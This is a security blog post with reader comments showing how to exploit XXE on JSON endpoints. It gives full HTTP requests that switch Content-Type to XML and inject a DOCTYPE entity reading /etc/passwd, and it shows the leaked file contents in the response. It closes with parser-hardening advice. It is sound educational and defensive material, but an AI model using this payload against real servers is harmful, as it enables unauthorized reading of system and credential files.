NetSPI Blog

Playing with Content-Type – XXE on JSON Endpoints

Antti Rantasaari
April 20th, 2015

Many web and mobile applications rely on web services communication for client-server interaction. Most common data formats for web services are XML, whether SOAP or RESTful, and JSON. While a web service may be programmed to use just one of them, the server may accept data formats that the developers did not anticipate. This may result in JSON endpoints being vulnerable to XML External Entity attacks (XXE), an attack that exploits weakly configured XML parser settings on the server.

XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).

Original JSON

{"search":"name","value":"netspitest"}

XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.

<?xml version="1.0" encoding="UTF-8" ?>

<root>
<search>name</search>
<value>netspitest</value>
</root>

Now the original JSON request can be sent as XML and the server may return a valid response:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

As the server accepts XML input, XXE can be exploited against a JSON endpoint.

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.

So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.

Leave a Reply

9 Comments on "Playing with Content-Type – XXE on JSON Endpoints"

avatar
  Subscribe  
newest oldest
Notify of
Aurielle
Guest

Great article, just want to point out an error though: the entity definition has xxe for its name, but &netspi; is used further in the document. For any other people wondering, those two names should match.

N-kod
Guest

hello
thank you for this great article.
i was testing this with a login API and i faced “CData elements not valid at top level of an XML document.”
i had a json output as well but when i removed it just performed the normal login act and showed me a “wrong password” message in json format.
is there any way to solve this in order to achive xxe attack?
thanks in advance.

N-kod
Guest

sorry i think u got some filter on ur comments 😀
… well but when i removed < ! DOC type …
forgive me for the second comment.

Wa
Guest

Thanks, that was interesting. So, that is the defence strategy when the web service accepts only json. What are the defence options when the web service accepts xml indeed?

The SAXParcer (xerces) cannot be configured programmatically, because “new SAXParser()” is called by the container and then only the container can configure it.

Or is there another way to configure the Parser, specifically the properties

http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false

subhaM
Guest

sir
thaxs for ur grt article. i have newly learned xxe attack. where i could practise

Kasidis Andreas
Guest

Antti Rantasaari would you be so kind as to share the server/endpoint configuration you used for this tutorial? I would like to create a vulnerable VM featuring this attack.
Of course i will point to this link for the solution !
Great article !!!

ze
Guest

By changing the content-type from application/json to application/xml I get a “HTTP Status 500 – Invalid Content-Type application/xml;charset=UTF-8”. Do you have any tips to further investigate this? Seems like a dead end.